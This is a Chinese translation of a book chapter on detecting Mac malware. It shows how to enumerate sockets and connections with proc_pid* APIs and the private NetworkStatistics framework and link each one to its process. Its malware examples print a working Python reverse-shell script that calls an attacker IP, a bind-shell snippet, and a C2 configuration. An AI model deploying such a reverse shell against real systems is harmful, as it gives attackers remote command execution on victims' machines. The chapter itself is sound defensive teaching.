大多数 Mac 恶意软件样本都会大量利用网络执行各种任务,比如窃取数据、下载额外负载,或者与指挥控制服务器通信。如果你能观察到这些未授权的网络事件,就可以将其转化为强有力的检测启发式规则。在本章中,我将详细介绍如何创建网络活动的快照,比如已建立的连接和监听的套接字,并将每个事件关联到对应的进程。这些信息在任何恶意软件检测系统中都至关重要,因为它能够检测到甚至是之前未知的恶意软件。
我会重点介绍两种枚举网络信息的方法:proc_pid* 系列 API 和私有的 NetworkStatistics 框架中的 API。本书的 GitHub 仓库第四章文件夹中包含了这两种方法的完整代码。
主机端采集 vs 网络层采集
通常,网络信息的采集有两种途径:一是在主机端采集,另一种是在网络层外部采集(比如通过网络安全设备)。这两种方式各有优缺点,而本章重点讲述的是前者。对于恶意软件检测,我更倾向于主机端采集,因为它能可靠地识别出具体负责网络事件的进程。
能够将网络事件和进程直接关联起来,其价值难以高估。这个关联让你能够深入检查访问网络的进程,并对它应用其他启发式判断,以确定它是否可能是恶意的。比如,一个持续驻留的、未经过公证的二进制程序访问网络,很可能是恶意软件。识别出责任进程还能帮助发现那些试图伪装其网络流量为合法流量的恶意软件——比如来自已签名且已公证浏览器的标准 HTTP/S 请求一般无害,而同样的请求如果关联到一个未知的进程,则值得重点关注。
主机级网络信息采集的另一个优势是,网络流量通常是加密的,主机端采集可以避免网络层加密带来的复杂性,因为这些加密通常是在网络层后期应用的。你将在第七章看到这种主机级网络流量持续监控方法的好处。
恶意网络活动
当然,程序访问网络并不意味着它就是恶意软件。你电脑上的大多数正规软件很可能都会使用网络。不过,某些类型的网络活动在恶意软件中比在正规软件中更为常见。以下是一些你应该重点关注的网络活动示例:
- 对任何远程连接开放的监听套接字
恶意软件可能通过将本地 shell 连接到监听外部接口连接的套接字,从而暴露远程访问。 - 定期发生的信标请求
植入体及其他持续存在的恶意软件可能会定期向其指挥控制服务器报告状态。 - 大量上传数据
恶意软件经常从被感染系统窃取数据。
接下来,我们来看几个恶意软件及其网络交互的例子。首先是一个名为 Dummy(由我亲自命名,因为它比较“简单”)的样本。该恶意软件创建了一个交互式 shell,允许远程攻击者在被感染主机上执行任意命令。具体来说,它持续执行以下包含 Python 代码的 bash 脚本(我已格式化以便阅读):
#!/bin/bash
while :
do
python -c '
import socket,subprocess,os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("185.243.115.230",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
'
sleep 5
done
这段代码会连接到攻击者的服务器(IP 地址为 185.243.115.230,端口为 1337)。然后它复制标准输入(stdin)、标准输出(stdout)和标准错误(stderr)的文件描述符(分别是 0、1 和 2)到已连接的套接字上。最后,它使用 -i 参数执行 /bin/sh,完成交互式反向 shell 的设置。如果你在被感染主机上枚举网络连接(例如,使用 macOS 的 lsof 工具,列出所有进程打开的文件描述符),你会看到这个基于 Python 的 shell 所建立的连接:
% lsof -nP | grep 1337 | grep -i python
Python ... TCP 192.168.1.245:63353->185.243.115.230:1337 (ESTABLISHED)
第二个例子关联到一个疑似中国黑客组织,该组织最为人知的是其 Alchimist(拼写如原文)攻击框架。当恶意代码运行时,会释放一个名为 payload.so 的动态库。如果用反编译工具打开这个用 Go 语言编写的库,可以看到它包含了将 shell 绑定到监听套接字的逻辑:
os.Getenv(..., NOTTY_PORT, 0xa,...);
strconv.ParseInt(...);
fmt.Sprintf(..., "0.0.0.0", ..., port, ...);
net.Listen("tcp", address);
main.handle_connection(...);
它首先读取自定义环境变量 NOTTY_PORT,用来构建格式为 0.0.0.0:port 的网络地址字符串。如果未指定端口,默认使用 4444。接着,它调用 Go 语言的 net 库中的 Listen 方法创建一个监听的 TCP 套接字。名为 handle_connection 的方法用来处理对该套接字的所有连接。通过我开发的网络枚举工具 Netiquette(见图 4-1),你可以看到该恶意软件的监听套接字。
细心的读者可能注意到,监听在4444端口的套接字绑定的是名为loader的进程,而不是直接绑定到恶意的payload.so库。这是因为macOS是以进程为单位来跟踪网络事件的,而不是以库为单位。不幸的是,发现该威胁的研究人员没有获得托管该库的程序,所以我编写了loader程序来加载并执行该恶意库,以便进行动态分析。
任何利用系统API枚举网络连接的代码,只能识别出网络活动发起的进程。这些活动可能直接来自该进程主二进制代码中的代码,或者如这里的情况,来自加载到其地址空间的某个库。这也是为什么我们在第一章中枚举并分析进程加载库非常有价值的另一个原因。
再来看最后一个样本。高级持续性威胁(APT)植入物oRAT并没有调用shell,而是采取更常见的方式——与攻击者的指挥控制服务器建立连接。通过该连接,攻击者可以发送任务,执行各种操作,从而实现对被感染主机的完全远程控制。比较不同寻常的是,它所有的任务执行和定期“心跳”检查都是通过单一的多路复用持久连接进行的。我们可以在oRAT二进制文件中直接找到该连接的配置信息,比如协议和服务器地址。虽然信息是加密的,但由于解密密钥也嵌入在二进制中,我们可以很容易地在运行时解密或从内存中提取,正如《The Art of Mac Malware,Volume 1》第九章所述。以下是解密后的配置信息片段,包含了指挥控制服务器的信息:
{
...
"C2": {
"Network": "stcp",
"Address": "darwin.github.wiki:53"
},
...
}
配置中,Network键的值决定了oRAT是通过TCP还是UDP通信,以及是否对网络流量加密。值为stcp表示使用Go语言的传输层安全协议(TLS)对TCP流量进行加密。配置还显示流量目标是darwin.github.wiki的指挥控制服务器,端口为53。虽然该端口传统上用于DNS服务,但这并不妨碍恶意软件作者利用它,可能是为了掩盖真实流量,混入合法的DNS流量,或者绕过通常允许该端口出站流量的防火墙。
当恶意软件运行后,我们可以很容易地观察到与攻击者服务器的连接,无论是通过编程方式还是手动使用系统或第三方网络工具。接下来,我将重点讲解前者,展示如何编程枚举套接字和网络连接,提供每个连接的元数据,并识别负责该网络活动的进程。
捕获网络状态
捕获网络活动有多种方法,比如监听套接字和已建立连接。其中一种方法是使用各种 proc_pid* API。这个工作流程的灵感来自 Palomino Labs 的 get_process_handles 项目。
首先,我们调用 proc_pidinfo 函数,传入进程ID和 PROC_PIDLISTFDS 常量,以获取指定进程当前打开的所有文件描述符列表。我们关注这个文件描述符列表,因为它也包含套接字。为了仅提取套接字,我们将遍历所有文件描述符,关注那些类型被设置为 PROX_FDTYPE_SOCKET 的描述符。
某些套接字类型的名称以 AF(address family,地址族)为前缀。其中一些套接字(例如类型为 AF_UNIX 的)是本地套接字,程序可用作进程间通信(IPC)机制。它们通常与恶意活动无关,因此在枚举网络活动时可以忽略它们。但对于 AF_INET(IPv4 连接使用)或 AF_INET6(IPv6 连接使用)类型的套接字,我们可以提取它们的协议(UDP 或 TCP)、本地端口和地址。对于 TCP 套接字,我们还将提取远端端口、地址以及状态(监听、已建立等)。
下面我们逐步讲解实现此功能的代码,完整代码可见本章的 enumerateNetworkConnections 项目。
获取进程文件描述符
我们先调用 proc_pidinfo API,传入进程ID、PROC_PIDLISTFDS 标志和三个参数为零,以获取完整进程打开文件描述符列表所需的缓冲区大小(代码示例4-1)。这是一种常见用法,尤其是对于像 proc_pid* 这样较老的基于C的API:先用NULL缓冲区和0字节长度调用,获取所需的真实长度,然后再使用新分配的缓冲区调用一次,返回数据。
#import <libproc.h>
#import <sys/proc_info.h>
pid_t pid = <某个进程ID>;
❶ int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, NULL, 0);
struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);
❷ proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);
...
在获取到所需缓冲区大小并分配内存后 ❶,我们再次调用 proc_pidinfo,这次传入缓冲区和大小,获取进程的文件描述符列表 ❷。返回后,缓冲区中包含 proc_fdinfo 结构体数组,每个结构体对应进程的一个打开文件描述符。sys/proc_info.h 头文件中定义了该结构:
struct proc_fdinfo {
int32_t proc_fd; // 文件描述符
uint32_t proc_fdtype; // 文件描述符类型
};
结构体仅包含两个成员:文件描述符(proc_fd)和文件描述符类型(proc_fdtype)。
提取网络套接字
拿到进程的文件描述符列表后,现在可以遍历它们查找套接字(代码示例4-2)。
for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
if(PROX_FDTYPE_SOCKET != fdInfo[i].proc_fdtype) {
continue;
}
}
因为缓冲区存放的是 proc_fdinfo 结构数组,代码通过将缓冲区大小除以 PROC_PIDLISTFD_SIZE(proc_fdinfo 结构大小)来确定数组元素个数。然后检查每个文件描述符的类型(proc_fdtype),套接字的类型是 PROX_FDTYPE_SOCKET。对于非套接字类型的文件描述符,代码执行 continue 跳过当前循环,处理下一个文件描述符。
获取套接字详情
现在,为了获取套接字的详细信息,我们调用 proc_pidfdinfo 函数。它接受五个参数:进程ID、文件描述符、指示我们请求文件描述符哪类信息的值、指向结构体的输出指针,以及结构体的大小(见代码示例4-3)。
struct socket_fdinfo socketInfo = {0};
proc_pidfdinfo(pid, fdInfo[i].proc_fd,
PROC_PIDFDSOCKETINFO, &socketInfo, PROC_PIDFDSOCKETINFO_SIZE);
代码示例4-3:获取套接字文件描述符信息
因为这段代码会放在遍历进程套接字列表的循环中(见代码示例4-2),所以可以通过索引 fdInfo[i].proc_fd 引用每个套接字。常量 PROC_PIDFDSOCKETINFO 指示API返回套接字信息,PROC_PIDFDSOCKETINFO_SIZE 是 socket_fdinfo 结构体的大小。两者均定义在 Apple 的 sys/proc_info.h 文件中。
我之前提到并非所有套接字都与网络活动有关,因此代码只关注地址族为 AF_INET 或 AF_INET6 的网络套接字,它们通常称为互联网协议(IP)套接字。我们可以通过检查 socket_fdinfo 结构中的 psi.soi_family 成员来判断套接字的地址族(见代码示例4-4)。
if((AF_INET != socketInfo.psi.soi_family) && (AF_INET6 != socketInfo.psi.soi_family)) {
continue;
}
代码示例4-4:检查套接字的地址族
因为这段代码在循环中执行,遇到非IP套接字时会执行 continue 跳过。
剩下的代码则从 socket_fdinfo 结构中提取各种信息,保存到字典中。你已经看到该地址族字段,其值应为 AF_INET 或 AF_INET6(见代码示例4-5)。
NSMutableDictionary* details = [NSMutableDictionary dictionary];
details[@"family"] = (AF_INET == socketInfo.psi.soi_family) ? @"IPv4" : @"IPv6";
代码示例4-5:提取套接字的地址族类型
套接字的协议可在 psi.soi_kind 成员找到。(回想一下,psi 是一个 socket_info 结构。)提取套接字信息时需要考虑协议差异,因为不同协议对应不同的结构体。UDP套接字的 soi_kind 是 SOCKINFO_IN,其协议相关信息在 soi_proto.pri_in 成员(类型为 in_sockinfo);TCP套接字(SOCKINFO_TCP)则在 soi_proto.pri_tcp 成员(类型为 tcp_sockinfo)(见代码示例4-6)。
if(SOCKINFO_IN == socketInfo.psi.soi_kind) {
struct in_sockinfo sockInfo_IN = socketInfo.psi.soi_proto.pri_in;
// 在这里添加代码,提取UDP套接字信息
} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
// 在这里添加代码,提取TCP套接字信息
}
代码示例4-6:提取UDP或TCP套接字结构
识别出相应结构后,提取本地和远程端点信息的方法对于UDP和TCP套接字大致相同。UDP套接字一般未绑定,因此远端端点信息可能不存在。而且UDP是无状态协议,TCP套接字则会有状态。
接下来,示例代码演示如何从TCP套接字中提取本地和远程端口(见代码示例4-7)。
} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
details[@"protocol"] = @"TCP";
details[@"localPort"] =
[NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_lport)]; ❶
details[@"remotePort"] =
[NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_fport)]; ❷
...
}
代码示例4-7:从TCP套接字提取本地和远程端口
本地端口和远程端口分别在 tcpsi_ini 结构体的 insi_lport ❶ 和 insi_fport ❷ 成员中,均采用网络字节序存储,需要用 ntohs 函数转换为主机字节序。
然后从同一个 tcpsi_ini 结构中提取本地和远程地址。访问哪个成员取决于地址是IPv4还是IPv6。代码示例4-8展示了IPv4(AF_INET)地址的提取方法。
#import <arpa/inet.h>
if(AF_INET == socketInfo.psi.soi_family) {
char source[INET_ADDRSTRLEN] = {0};
char destination[INET_ADDRSTRLEN] = {0};
inet_ntop(AF_INET,
&(sockInfo_TCP.tcpsi_ini.insi_laddr.ina_46.i46a_addr4), source, sizeof(source)); ❶
inet_ntop(AF_INET, &(sockInfo_TCP.tcpsi_ini.insi_faddr.ina_46.i46a_addr4),
destination, sizeof(destination)); ❷
}
代码示例4-8:提取本地和远程IPv4地址
代码通过调用 inet_ntop 函数将IP地址转换为可读字符串,本地地址位于 insi_laddr ❶,远程地址位于 insi_faddr ❷。地址缓冲区大小用常量 INET_ADDRSTRLEN 指定,包含了空字符终止符。
IPv6(AF_INET6)套接字同样使用 inet_ntop,但传入 in6_addr 结构体(在 in_sockinfo 结构中名为 ina_6)。缓冲区大小使用 INET6_ADDRSTRLEN,见代码示例4-9。
if(AF_INET6 == socketInfo.psi.soi_family) {
char source[INET6_ADDRSTRLEN] = {0};
char destination[INET6_ADDRSTRLEN] = {0};
inet_ntop(AF_INET6,
&(sockInfo_IN.insi_laddr.ina_6), source, sizeof(source));
inet_ntop(AF_INET6,
&(sockInfo_IN.insi_faddr.ina_6), destination, sizeof(destination));
}
代码示例4-9:提取本地和远程IPv6地址
最后,我们可以从 tcp_sockinfo 结构的 tcpsi_state 成员中获取TCP连接状态(关闭、监听、已建立等)。sys/proc_info.h 头文件定义了可能的状态:
#define TSI_S_CLOSED 0 /* 关闭 */
#define TSI_S_LISTEN 1 /* 监听连接 */
#define TSI_S_SYN_SENT 2 /* 已发送SYN */
#define TSI_S_SYN_RECEIVED 3 /* 已发送并接收SYN */
#define TSI_S_ESTABLISHED 4 /* 已建立 */
...
代码示例4-10用 switch 语句将部分数字状态转换成人类可读的字符串:
switch(sockInfo_TCP.tcpsi_state) {
case TSI_S_CLOSED:
details[@"state"] = @"CLOSED";
break;
case TSI_S_LISTEN:
details[@"state"] = @"LISTEN";
break;
case TSI_S_ESTABLISHED:
details[@"state"] = @"ESTABLISHED";
break;
...
}
代码示例4-10:将TCP状态(tcpsi_state)转换为字符串
假如你想将目的IP地址解析为域名,可以使用 getaddrinfo API,该函数是同步的,会查询DNS服务器完成IP到域名的映射,因此建议在子线程中调用,或使用其异步版本 getaddrinfo_a。代码示例4-11展示了一个简单的辅助函数,它接受一个IP地址字符串,尝试解析为域名并返回字符串对象。
#import <netdb.h>
#import <sys/socket.h>
NSString* hostForAddress(char* address) {
struct addrinfo* results = NULL;
char hostname[NI_MAXHOST] = {0};
NSString* resolvedName = nil;
❶ if(0 == getaddrinfo(address, NULL, NULL, &results)) {
❷ for(struct addrinfo* r = results; r != NULL; r = r->ai_next) {
if(0 == getnameinfo(r->ai_addr, r->ai_addrlen,
❸ hostname, sizeof(hostname), NULL, 0, 0)) {
resolvedName = [NSString stringWithUTF8String:hostname];
break;
}
}
}
if(NULL != results) {
freeaddrinfo(results);
}
return resolvedName;
}
代码示例4-11:将IP地址解析为域名
IP地址可能对应多个主机名,也可能没有对应的主机名。后者在包含硬编码IP的恶意软件中常见,可能没有域名条目。
代码先调用 getaddrinfo ❶,成功时会为指定地址分配并初始化一个 addrinfo 结构链表,因为可能有多个响应。随后遍历该链表 ❷,调用 getnameinfo ❸ 获得对应主机名,成功后转换成字符串对象返回,并退出循环。当然也可以继续遍历收集所有解析出的名称。
运行工具
让我们编译并运行网络枚举代码(位于 enumerateNetworkConnections 项目中),在一个感染了 Dummy 的系统上测试。该代码一次只查看一个进程,所以我们传入属于 Dummy 的 Python 脚本实例的进程ID(96202)作为参数:
% ./enumerateNetworkConnections 96202
Socket details: {
family = "IPv4";
protocol = "TCP";
localPort = 63353;
localIP = "192.168.1.245";
remotePort = 1337;
remoteIP = "185.243.115.230";
resolved = "pttr2.qrizi.com";
state = "ESTABLISHED";
}
正如预期,工具能够枚举 Dummy 与攻击者命令控制服务器的连接。它显示了连接的本地和远程端点信息,以及连接的地址族、协议和状态。
在生产环境中,为了提升这段代码的功能,你很可能希望枚举所有网络连接,而不仅仅是用户指定的单个进程。你可以轻松扩展代码,先获取当前所有运行进程的列表,然后遍历这个列表,枚举每个进程的网络连接。回想第一章中,我已经展示过如何获取进程ID列表。
枚举网络连接
我提到过,使用 proc_pid* API 的一个小缺点是它们是针对特定进程的。也就是说,它们不会返回系统范围的网络活动信息。虽然我们可以轻松地遍历每个进程以获得系统网络活动的整体情况,但私有的 NetworkStatistics 框架提供了一个更高效的方法来完成这项任务。该框架还提供了每个连接的统计数据,这有助于我们检测恶意软件样本(例如,那些从感染系统大量外泄数据的样本)。
本节中,我们将使用该框架获取一次性的全局网络活动快照,而在第7章,我们将利用它持续接收网络活动的实时更新。
NetworkStatistics 框架支撑着 macOS 自带的一个相对不太为人知的网络工具 nettop。通过终端执行 nettop,可以显示按进程分组的系统范围网络活动。以下是我 Mac 上运行 nettop 时的简要输出示例:
% nettop
launchd.1
tcp6 *.49152<->*.*
Listen
timed.352
udp4 192.168.1.245:123<->usscz2-ntp-001.aaplimg.com:123
WhatsApp Helper.1186
tcp6 2603:800c:2800:641::cc.54413<->whatsapp-cdn6-shv-01-lax3.fbcdn.net.443 Established
com.apple.WebKi.78285
tcp6 2603:800c:2800:641::cc.54863<->lax17s49-in-x0a.1e100.net.443 Established
tcp4 192.168.1.245:54810<->104.244.42.66:443 Established
tcp4 192.168.1.245:54805<->104.244.42.129:443 Established
Signal Helper (.8431
tcp4 192.168.1.245:54874<->ac88393aca5853df7.awsglobalaccelerator.com:443 Established
tcp4 192.168.1.245:54415<->ac88393aca5853df7.awsglobalaccelerator.com:443 Established
我们可以使用 otool 查看 nettop 利用了 NetworkStatistics 框架。在较旧版本的 macOS 中,这个框架位于 /System/Library/PrivateFrameworks/,而在较新版本中,它被存储在 dyld 共享缓存中:
% otool -L /usr/bin/nettop
/usr/bin/nettop:
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
/usr/lib/libncurses.dylib
/System/Library/PrivateFrameworks/NetworkStatistics.framework/Versions/A/NetworkStatistics
/usr/lib/libSystem.B.dylib
让我们使用这个框架以编程方式枚举系统范围内的网络活动,它能为我们提供表示监听套接字、网络连接等的网络统计对象。macOS 大师 Jonathan Levin 首次在他的 netbottom 命令行工具中记录了这一方法。本节以及本章中的 enumerateNetworkStatistics 项目的代码均直接借鉴了他的项目。
关联 NetworkStatistics 框架
任何使用框架的程序必须在编译时链接该框架,或在运行时动态加载。在 Xcode 中,你可以在 Build Phases 的 Link Binary with Libraries 列表中添加框架(见图4-2)。
由于 NetworkStatistics 框架是私有的,没有公开的头文件,因此你需要手动定义它的 API 和常量。例如,你可以使用 NStatManagerCreate API 来创建一个网络统计管理器实例,但你必须先定义这个 API,如清单 4-12 所示。
NStatManagerRef NStatManagerCreate(
const struct __CFAllocator*, dispatch_queue_t, void (^)(void*, int));
清单 4-12:私有 NStatManagerCreate API 的函数定义
同样,你还需要定义所有常量,比如描述每个网络统计对象的字典中的键。例如,清单 4-13 展示了如何定义 kNStatSrcKeyPID,它是保存负责该网络连接的进程 ID 的键。
extern CFStringRef kNStatSrcKeyPID;
清单 4-13:私有常量 kNStatSrcKeyPID 的定义
所有函数和常量的定义可以参见本章 enumerateNetworkStatistics 项目的头文件。
创建网络统计管理器
现在我们已经链接了 NetworkStatistics 框架,并定义了必要的 API 和常量,就可以开始写代码了。清单 4-14 展示了如何通过 NStatManagerCreate API 创建网络统计管理器。这个管理器是一个不透明对象,后续所有 NetworkStatistics API 调用都需要它。
NStatManagerCreate API 的第一个参数是内存分配器,这里我们使用默认的分配器 kCFAllocatorDefault。第二个参数是一个 dispatch 队列,用于执行第三个参数中指定的回调块。我建议使用自定义的 dispatch 队列,而不是主线程的 dispatch 队列,以避免主线程过载或阻塞。
❶ dispatch_queue_t queue = dispatch_queue_create("queue", NULL);
NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
❷ ^(NStatSourceRef source, int unknown) {
// 在这里添加代码以完成实现。
});
清单 4-14:初始化网络统计管理器
我们先初始化 dispatch 队列 ❶,然后调用 NStatManagerCreate 创建管理器对象。该 API 的最后一个参数是一个回调块,当框架执行查询时会调用它。回调接受两个参数:一个表示网络统计的 NStatSourceRef 对象和一个整数,其具体含义未知(但看起来与我们代码无关) ❷。下一节我将讲解如何在框架调用此回调时提取感兴趣的网络信息。
定义回调逻辑
当我们使用稍后将要讲到的 NStatManagerQueryAllSourcesDescriptions API 启动查询时,框架会自动调用 NStatManagerCreate 时传入的回调块。为了从传入回调块的每个网络统计对象中提取信息,我们调用 NStatSourceSetDescriptionBlock API 来指定另一个回调块。该函数定义如下:
void NStatSourceSetDescriptionBlock(NStatSourceRef arg, void (^)(NSMutableDictionary*));
我们传入 NStatSourceRef 对象和一个回调块,框架会异步调用该回调块,参数是包含网络统计对象信息的字典(见清单 4-15)。
NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
^(NStatSourceRef source, int unknown) {
NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
printf("%s\n", description.description.UTF8String);
});
});
清单 4-15:设置描述信息回调块
目前代码不会执行任何操作,直到我们启动查询。一旦查询启动,框架会调用该回调块,此时我们简单地打印出描述网络统计对象的字典内容。
启动查询
启动查询前,我们需要告诉框架感兴趣的网络统计类型。若想获取所有 TCP 和 UDP 网络套接字及连接的统计信息,分别调用 NStatManagerAddAllTCP 和 NStatManagerAddAllUDP 函数。它们的唯一参数是之前创建的网络统计管理器(见清单 4-16)。
NStatManagerAddAllTCP(manager);
NStatManagerAddAllUDP(manager);
清单 4-16:查询 TCP 和 UDP 网络事件统计信息
接下来,通过调用 NStatManagerQueryAllSourcesDescriptions 启动查询(见清单 4-17)。
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
❶ NStatManagerQueryAllSourcesDescriptions(manager, ^{
❷ dispatch_semaphore_signal(semaphore);
});
❸ dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
❹ NStatManagerDestroy(manager);
清单 4-17:查询所有网络源
调用 NStatManagerQueryAllSourcesDescriptions ❶ 后,网络统计查询开始,框架会对每个网络统计对象调用之前设置的回调块,从而提供当前网络状态的完整快照。
该函数接收网络统计管理器和一个查询完成时调用的回调块。这里我们只需一次性获取网络快照,因此在回调块内通过信号量 ❷ 通知主线程继续执行 ❸。查询完成后,我们调用 NStatManagerDestroy 释放网络统计管理器资源 ❹。
运行工具
如果我们编译并运行这段代码,它将枚举所有网络连接和监听套接字,包括 Dummy 的远程 shell 连接:
% ./enumerateNetworkStatistics
...
{
TCPState = Established;
...
ifWiFi = 1;
interface = 12;
localAddress = {length = 16, bytes = 0x1002c7f9c0a801f50000000000000000};
processID = 96202;
processName = Python;
provider = TCP;
...
remoteAddress = {length = 16, bytes = 0x10020539b9f373e60000000000000000};
...
}
本地地址(kNStatSrcKeyLocal)和远程地址(kNStatSrcKeyRemote)存储在 NSData 对象中,包含 sockaddr_in 或 sockaddr_in6 结构体。如果你想将它们转换为可打印的字符串,需要调用类似 inet_ntop 的函数。清单 4-18 展示了相应的代码:
NSString* convertAddress(NSData* data) {
in_port_t port = 0;
char address[INET6_ADDRSTRLEN] = {0};
struct sockaddr_in* ipv4 = NULL;
struct sockaddr_in6* ipv6 = NULL;
if(AF_INET == ((struct sockaddr*)data.bytes)->sa_family) { ❶
ipv4 = (struct sockaddr_in*)data.bytes;
port = ntohs(ipv4->sin_port);
inet_ntop(AF_INET, (const void*)&ipv4->sin_addr, address, INET_ADDRSTRLEN);
} else if (AF_INET6 == ((struct sockaddr*)data.bytes)->sa_family) { ❷
ipv6 = (struct sockaddr_in6*)data.bytes;
port = ntohs(ipv6->sin6_port);
inet_ntop(AF_INET6, (const void*)&ipv6->sin6_addr, address, INET6_ADDRSTRLEN);
}
return [NSString stringWithFormat:@"%s:%hu", address, port];
}
NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
^(NStatSourceRef source, int unknown) {
NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
NSData* source = description[(__bridge NSString*)kNStatSrcKeyLocal];
NSData* destination = description[(__bridge NSString*)kNStatSrcKeyRemote];
printf("%s\n", description.description.UTF8String);
printf("%s -> %s\n",
convertAddress(source).UTF8String, convertAddress(destination).UTF8String); ❸
});
});
清单 4-18:将数据对象转换为人类可读的地址和端口
这个简单的辅助函数接受一个网络统计地址,提取并格式化 IPv4 ❶ 和 IPv6 ❷ 地址及端口。这里打印了源地址和目标地址 ❸,方便阅读。举例来说,以下输出显示了 Dummy 远程 shell 的连接统计:
% ./enumerateNetworkStatistics
...
{
TCPState = Established;
...
ifWiFi = 1;
interface = 12;
localAddress = 192.168.1.245:63353
processID = 96202;
processName = Python;
provider = TCP;
...
remoteAddress = 185.243.115.230:1337
...
}
虽然此简略输出中未展示,网络统计字典还包含 kNStatSrcKeyTxBytes 和 kNStatSrcKeyRxBytes 键,分别存储上传和下载的字节数。清单 4-19 展示了如何以编程方式将这些流量统计数据提取为无符号长整型:
NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
unsigned long bytesUp =
[description[(__bridge NSString *)kNStatSrcKeyTxBytes] unsignedLongValue];
unsigned long bytesDown =
[description[(__bridge NSString *)kNStatSrcKeyRxBytes] unsignedLongValue];
...
});
清单 4-19:提取流量统计数据
这些数据有助于我们洞察流量趋势。例如,若某未知进程关联的连接上传字节数异常巨大,则可能暴露了该恶意软件正在向远程服务器大量窃取数据。
结论
大多数恶意软件都会与网络进行交互,这为我们构建强大的启发式检测方法提供了机会。在本章中,我介绍了两种以编程方式枚举网络状态并将该状态与负责进程关联的方法。能够识别负责监听套接字或已建立连接的进程对于准确检测恶意软件至关重要,这也是基于主机的检测方法相较于以网络为中心的方法的主要优势之一。
至此,我们已经基于从进程(第1章)、二进制文件(第2章)、代码签名(第3章)以及网络(本章)获得的信息构建了启发式检测方法。但操作系统还提供其他检测来源。在下一章,你将深入了解持久化技术的检测。
注释
- Patrick Wardle, “The Mac Malware of 2022,” Objective-See, 2023年1月1日, objective-see.org/blog/blog_0….
- 见 objective-see.org/products/ne….
- Patrick Wardle, “Making oRAT Go,” 2022年10月7日于西班牙 Objective by the Sea v5 会议发表论文, objectivebythesea.org/v5/talks/OB….
- Daniel Lunghi 和 Jaromir Horejsi, “New APT Group Earth Berberoka Targets Gambling Websites with Old and New Malware,” TrendMicro, 2022年4月27日, www.trendmicro.com/en_ph/resea….
- 见 github.com/palominolab….
- 见 newosxbook.com/src.jl?tree….